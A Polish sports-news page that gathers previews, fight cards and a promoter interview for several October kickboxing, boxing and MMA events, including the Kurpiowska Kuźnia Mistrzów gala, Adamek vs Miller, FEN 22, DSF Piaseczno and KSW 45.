Kurpiowska Kuźnia Mistrzów stale się rozwija i promuje kolejnych zawodników. Niektórzy mieli okazję rywalizować na galach DSF Kickboxing Challenge, a także zagranicą – Piotr Trześniewski w King of Kings. – Kurpiowska Kuźnia Mistrzów to wydarzenie z charakterem, które stopniowo rozwijamy. Uważam, że ciężką pracą doszliśmy do wysokiej poziomu i mamy określoną renomę. Nie robimy wszystkiego dla rozgłosu. Dla nas liczymy się sport i charakter. Aby zawodnicy mogli się rozwijać. Stawiamy na lokalnych, często młodych fighterów, żeby dać im szansę na posmakowanie zawodowstwa. To procentuje w przyszłości, ponieważ Kurpiowska Kuźnia Mistrzów wykształciła wielu dobrych zawodników – wyjaśnia nam Paweł Deluga, jeden z organizatorów Kurpiowskiej Kuźni Mistrzów.

Warto poświęcić uwagę najbliższej gali, aby lepiej poznać Kurpiowską Kuźnię Mistrzów. – Najbliższa gala to potwierdzenie tego, że stawiamy na młodych, głodnych sukcesu zawodników, ale i dobrych wojowników. Wierzę, że 6 października emocje sięgną zenitu. Szykuje się świetne sportowe widowisko – zapowiada Paweł Deluga.

XVIII Kurpiowska Kuźnia Mistrzów:

Walka o pas Mistrza Ziemi Kurpiowskiej (91kg K-1):  Daniel Bralewski (Gim KUŹNIA Wyszków) – Karol Łasiewicki (Fight Academy Ostrołęka)

Walki wieczoru (75kg K-1): Daniel Strzemiński(Akademia Lwa Wwy) – Bartosz Guz (Fight Gym Lublin)

Super Fight (69kg boks): Tomasz Stępiński (Palestra Warszawa) – Filip Pham Hong (KB Legia Warszawa)

76kg MMA: Karol Zduńczyk (Fenix Fight Club Waw) – Cezary Sarnowski (KSW CFG Waw)

75kg boks: Rafał Majewski (Żoliborska Szkoła Boksu) – Adam Łopiałło (Łuczek Boks Giżycko)

Walka otwarcia (91kg K-1): Marcin Rojek (Gim Kuźnia Wyszków) – Blażej Sarnacki(Gim Kuźnia Wyszków)

KM

FEN 22: Damian Grabowski VS Jose Rodrigo Guelke

38-letni Grabowski to weteran polskiej sceny MMA. W przeszłości bił się w największej światowej federacji UFC. W 2013 został międzynarodowym mistrzem M-1 Global w wadze ciężkiej. Był również wicemistrzem świata i mistrzem Europy w brazylijskim jiu-jitsu. Przez 11 lat zawodowych startów stoczył 25 walk, z czegoś aż 20 wygrał.

[kod]

Trudny rywal Adamka

6 października w Wintrust Arena w Chicago Tomasz Adamek stoczy swoją 59. Walkę w karierze. Jego rywalem będzie groźny Jarrell Miller, który marzy o pojedynku z Anthony'm Joshuą.

Po ponad czterech latach "Góral" stoczy walkę w Stanach Zjednoczonych. W marcu 2014 roku doznał porażki w starciu z Wiaczesławem Głazkovem. 41-letni były mistrz świata wagi junior ciężkiej i półciężkiej zaprezentuje się w Chicago po raz trzeci. Dwie wcześniejsze walki wygrał. Z pewnością w pamięci kibiców zapadła szczególnie ta z maja 2005 roku. Tomasz Adamek po zaciętym pojedynku pokonał Paula Briggsa i sięgnął po pas mistrza świata WBC. To był złoty czas boksera z Żywca, który przez kolejne lata był na szczycie. Co prawda w 2007 roku stracił pas WBC na rzecz Chada Dawsona, ale później zapisał na swoim koncie tytuły IBO i IBF w kategorii junior ciężkiej. Potem zapragnął zdominować wagę ciężką, ale powstrzymał go Witalij Kliczko.

Adamek jest legendą polskiego boksu i jego kolejne walki cieszą się zainteresowaniem. Po porażce z Arturem Szpilką wydawało się, że jego kariera dobiega końca. "Góral" nadal prezentuje się w ringu i może pochwalić się serią trzech zwycięstw z rzędu. Ostatnio znokautował Joeya Abella.

Najbliższym rywalem Tomasza Adamka będzie nadzieja amerykańskiego boksu Jarrell Miller. Rok temu 30-latek pokonał w dziewiątej rundzie Mariusza Wacha. Miller jest zdeterminowany i skuteczny. Wygrał 21 walk, z tym 18 przez nokaut i tylko jedną zremisował. Przed starciem z doświadczonym Adamkiem, Miller jest pewny swego. Amerykanin podkreśla, że chce szybko zakończyć rywalizację. 30-latek wybiega w przyszłość i myśli o starciu z Anthony'm Joshuą.

Polak intensywnie przygotowywał się do starcia z młodszym o 12 lat rywalem. Adamek trenował na Florydzie. Starcie z Millerem zostało zaplanowane na 12. rund. Po raz ostatni taki dystans w ringu Adamek spędził cztery lata temu z Głazkovem. Faworytem walki zaplanowanej na 6 października jest Millera. Adamek podejmuje kolejne wyzwanie w karierze, choć mógłby rywalizować w Polsce z tzw. "kelnerami".

Wydarzeniem wieczoru gali w Chicago będzie starcie mistrza świata IBF wagi półciężkiej Artura Beterbijewa z Callumem Johnsonem.

Fot. Tomasz Adamek „Goral” Facebook

KM

Jóźwiak: Przed nami najciekawsza gala w pięcioletniej historii FEN

20 października w Poznaniu odbędzie się gala Fight Exclusive Night 22. Główną atrakcją wieczoru będzie występ Damiana Grabowskiego, pas mistrzowski w kategorii lekkiej postara się obronić Mateusz Rębecki, który skrzyżuje rękawice z Łukaszem Koperą. Paweł Jóźwiak, prezes FEN, uważa, że gala w stolicy Wielkopolski będzie najlepsza w pięcioletniej historii federacji.

Czy 20 października kibice zobaczą najlepszą galę FEN w historii?

Paweł Jóźwiak: To trudne pytanie, bo mamy za sobą 21 edycji i w każdej znalazłoby się coś, co zapadło mi w pamięci. Ostatnio z Wrocławia zanotowałem niesamowitą radość Grzebyka po tym, jak zdobył pas mistrzowski. Podobał mi się pojedynek Łopaczyka z Jędraszczykiem, który był możliwie najlepszym pokazem MMA. W Warszawie skazywany na pożarcie Rębecki pokonał przed czasem Ziółkowskiego, Paczuski po widowiskowym pojedynku zdobył pas w K-1. Moim zdaniem to najlepsza gala FEN w historii – wielu kibicom podoba się już dziś, na kilkanaście dni przed pierwszym gongiem.

Karta walk została zamknięta ponad 3 tygodnie przed galą.

PJ: A wszyscy zawodnicy wiedzieli szybciej, że przyjdzie im wystąpić 20 października w Poznaniu. Nikt nie przyjedzie na galę prosto z wakacji, każdy ma czas na przygotowania. Dla mnie, jako dla promotora i prezesa federacji, najważniejsze jest, aby dawać kibicom bardzo dobre widowisko sportowe. Ambicje mamy naprawdę spore, bo za ostatnie kilka gal zebraliśmy mnóstwo bardzo fajnych komentarzy. Nie możemy dać teraz fanom tandety, bo to nie przejdzie. Nasi kibice od dłuższego czasu wiedzą, że wydając pieniądze na bilety lub włączając telewizor w sobotę wieczorem na Polsacie Sport, dostaną ekstra produkt. Dlatego też zawodnicy mają czas na przygotowania, każdy ma komfort pełnowymiarowych treningów.

Pech dopadł Radosława Paczuskiego, który doznał kontuzji.

PJ: I od razu zapytałem Radka, czy chce walczyć w Poznaniu. Dałby radę, ręka by się wyleczyła chwilę przed galą, ale nie chcemy ryzykować. To jest nasz mistrz, jego zdrowie jest dla nas bardzo ważne. Nie zwijamy interesu po gali w Poznaniu, zaraz będzie kolejna edycja i wtedy Radek będzie bronił mistrzowskiego pasa. W jego miejsce pojawiło się dwóch debiutantów w formule K-1, którzy mają aspiracje do tego, by w przyszłości zabrać Radkowi pas, bo to ta sama kategoria wagowa. Nie chcę mówić, że to eliminator, ale na pewno pojedynek, który wskaże, jaka hierarchia zawodników w kategorii do 85 kilogramów panuje w naszej federacji.

Na karcie walk jest kilku zawodników z Poznania.

PJ: Tak, to świadomy zamysł. Zawsze gospodarze obsadzają kilka miejsc na karcie walk, Poznań jest jednym z najmocniejszych "ośrodków" w Polsce jeżeli chodzi o MMA, więc nie było z tym problemu. Liczę na gospodarzy, bo wśród nich jest naprawdę wielu mocnych zawodników. Kondraciuk, Demczur, Radosz, Pasternak… Naprawdę nieźle to wygląda.

Kondraciuk ma pokonać młodego wilka z Gdyni, Bartosza Leśko.

PJ: Znowu – to będzie pojedynek młodości i doświadczenia. Zobaczymy, jak ostatnie 7 miesięcy przepracował Leśko, który po porażce z Naruszczką zrobił gigantyczny progres i bardzo się rozwinął. Jeżeli teraz wygra, to zrobi krok w przód i będzie zaliczał się już do czołówki "średnich" w naszym kraju. Kondraciuk to jednak stary wyga, król kończenia rywali przed czasem. Moim zdaniem to może być najciekawszy pojedynek podczas tej gali.

Ale walką o pas będzie starcie Rębeckiego z Koperą.

PJ: Mówiłem o tym kilkukrotnie – to pojedynek dwóch z trzech, może czterech najlepszych zawodników w Polsce w tej kategorii wagowej. Mateusz jest posiadaczem czarnego pasa w brazylijskim jiu-jitsu, Kopera to znakomity judoka, który już dziś jest wielopłaszczyznowy i równie dobrze radzi sobie w stójce. Faworytem jest mistrz, wiadomo, ale Rębecki jeszcze nie przegrał u nas w federacji i nie zamierza tego zmieniać.

O Damiana Grabowskiego pytają wszyscy – kibice, dziennikarze…

PJ: Bo to wielka gwiazda i zawodnik, któremu kibicowałem bardzo dawno temu. Cieszę się, że jest u nas w federacji i wierzę, że to będzie nasz przyszły mistrz w kategorii ciężkiej. To naprawdę bardzo fajny facet – wygadany, elokwentny, ciekawy świata, sporo w życiu widział, a cały czas pozostaje taki sam i w sporcie patrzy bardzo wysoko. W każdym jego zdaniu wychodzi z niego niesamowita ambicja i pewność siebie. Czekam z utęsknieniem na jego debiut w FEN.

Karta walk FEN 22:

  • Damian Grabowski VS Jose Rodrigo Guelke -120 kg
  • Mateusz Rębecki VS Łukasz Kopera -70 kg*
  • Bartosz Leśko VS Tomasz Kondraciuk -84 kg
  • Kamil Gniadek VS Jacek Jędraszczyk -77 kg
  • Kamil Łebkowski VS Łukasz Demczur -66 kg
  • Krzysztof Klaczek VS Edilson Teixeira -66 kg
  • Łukasz Radosz VS Mateusz Kubiszyn -85 kg K-1
  • Dawid Pasternak VS Rafał Statkiewicz -61 kg

Bilety na galę FEN 22 w serwisie Eventim.pl można nabyć TUTAJ.

Dwie walki mistrzowskie na gali Piaseczno Fight Night w sobotę 6 października!

Zaledwie tydzień po gali DSF 17 w Częstochowie kibice sportów walki w Polsce dostaną za darmo kolejną galę kickboxingu. Na DSF Fight Night Piaseczno odbędą się dwa pojedynki o mistrzowskie pasy federacji DSF. Główną atrakcją wieczoru będzie występ czempiona wagi piórkowej (do 65 kg) Jana „Irona” Lodzika, który przystąpi do drugiej obrony tytułu.

Fani będą mogli obejrzeć 6 zawodowych pojedynków. Wystąpią w nich zawodnicy znani z gal federacji DSF – Aleksander Kalicki (65 kg) Piotr Sokół (75 kg) i Joanna Różańska (60 kg) oraz inni kickbokserzy zrzeszeni przez Polski Związek Kickboxingu, który współorganizuje galę w Piasecznie.

W walce o pas wystąpi 28-letni Łukasz Wichowski, pierwszy mistrz federacji DSF Kickboxing Challenge. Utalentowany i utytułowany zawodnik klubu X Fight Piaseczno w końcu wyleczył się z kontuzji i wraca, by bronić tytułu DSF w formule Full Contact w kategorii do 81 kilogramów.

Pojedynek wieczoru to trzeci tegoroczny występ Jana Lodzika. W marcu „Iron” pokonał Murata Azebijewa na gali DSF Twierdza w Nowym Dworze Mazowieckim, a dwa miesiące później na DSF 15: Bastion Chwały okazał się lepszy od wielokrotnego mistrza świata i Europy Jurija Żukowskiego. 23-letni Lodzik chce podtrzymać wyborną passę, efektownie wygrywając sobotnie starcie. Poniżej pełna karta walk.

Walka pokazowa (Kick Light, 2 x 2 min):

Patrycja Kłosiewicz (POLSKA) vs Oliwia Ściągaj (POLSKA)

Walki zawodowe (K-1, 3 x 3 min):

65 kg Kamil Rościński(POLSKA) vs Pavel Haurys (BIAŁORUŚ)
65 kg Aleksander Kalicki (POLSKA) vs Mateusz Jagielski (POLSKA)
75 kg Piotr Sokół (POLSKA) vs Rafał Kamiński (POLSKA)
60 kg Joanna Różańska (POLSKA) vs Veronika Drobyazko(BIAŁORUŚ)

Co-Main Eventwalka o pas DSF (Full Contact, 5 x 2 min):

81 kg Łukasz Wichowski (POLSKA) vs Yauheni Matsiushonak (BIAŁORUŚ)

Main Event: walka o pas DSF (K-1, 5 x 3 min):

65 kg Jan Lodzik (POLSKA) vs Aliaksei Zdunkevich(BIAŁORUŚ)

Gala DSF Piaseczno Fight Night rozpocznie się o godzinie 18:00. Wszystkie walki zawodowe zostaną pokazane za darmo na kanałach Facebook i YouTube federacji DSF Kickboxing Challenge. Początek imprezy w GOSiR przy ul. Sikorskiego 20 w Piasecznie o godzinie 17:00 (otwarcie bramek dla kibiców). Koniec sobotniej gali został zaplanowany na 20:30.

Wojownicy zaprezentują się na Wembley

Dwa pojedynki, których stawką będą pasy mistrzowskie, turniej wagi półciężkiej i debiut byłego zawodnika UFC – tak ma wyglądać gala KSW 45: Return to Wembley, która odbędzie się 6 października.

Po raz pierwszy organizacja Martina Lewandowskiego i Macieja Kawulskiego gościła w Londynie prawie trzy lata temu. Wtedy to pas mistrzowski wywalczył Tomasz Narkun, który pokonał Gorana Reljicia. Tytuł w kategorii półśredniej obronił Borys Mańkowski, a w starciu wieczoru Mariusz Pudzianowski w drugiej rundzie zatrzymał Petera Grahama. Podczas najbliższej hali żadnego z wymienionych zawodników nie zobaczymy.

Myliłby się ten, kto powiedziałby, że KSW 45 nie zapowiada się interesująco. O odzyskanie pasa w wadze ciężkiej postara się Karol Bedorf. 35-latek stracił tytuł na rzecz Fernando Rodriguesa Jr., a następnie zerwał ścięgno Achillesa i długo pauzował. Stracił szansą na występ na gali KSW na stadionie PGE Narodowy, ale wrócił w czerwcu br. W Ergo Arenie poddał Mariusza Pudzianowskiego i zgłosił akces do walki o pas. Jego rywalem będzie Philip de Fries. Dla Anglika starcie z Bedorfem to wyjątkowa walka. De Fries zaprezentuje się na własnej ziemi, a dodatkowo po raz pierwszy będzie bronił tytułu. Wiadomo, że mistrz jest niezwykle groźny i do bólu skuteczny. Walka wieczoru zapowiada się interesująco, tak jak i starcie o pas w wadze półśredniej. Roberto Soldić pała żądzą rewanżu na Dricusie Du Plessis. Zawodnik z RPA odebrał tytuł Chorwatowi podczas KSW 43 we Wrocławiu.

W Londynie odbędzie się również turniej w wadze średniej. Zwycięzcy staną do rywalizacji o pas zwakowany przez Mameda Khalidova. Legenda KSW i były mistrz Michała Materla zmierzy się z niezwykle groźnym Damianem Janikowskim. Z kolei Scott Askham spotka się z Marcinem Wójcikiem.

Debiut w KSW zaliczy Thiago Silva, który swego czasu rywalizował w UFC, gdzie pokonał m.in. Matta Hamilla czy Tomasza Drwala. Ostatnio Brazylijczyk prezentował się na galach ACB. Jego rywalem w Londynie będzie James McSweeney, którego celem jest przełamanie serii trzech porażek.

Do pierwszej walki w KSW przygotowuje się również Akop Szostak. Naprzeciw niego stanie Jamie Sloane. Pierwotnie rywalem Szostaka miał być John Smith, jednak wycofał się z walki.

 

Karta walk KSW 45:

Walka wieczoru (stawką pas mistrzowski): 120 kg: Philip De Fries – Karol –

120 kg: Paweł Mikołajuw -Erko Jun

84 kg: Michał Materla – Damian Janikowski

O pas: 77 kg: Dricus Du Plessis – Roberto Soldic  

84 kg: Scott Askham – Marcin Wójcik

120 kg: James McSweeney – Thiago Silva

93 kg: Wagner Prado – Max Nunes

93 kg: Akop Szostak – Jamie Sloane

70 kg: Leszek Krakowski – Alfie Davis

KM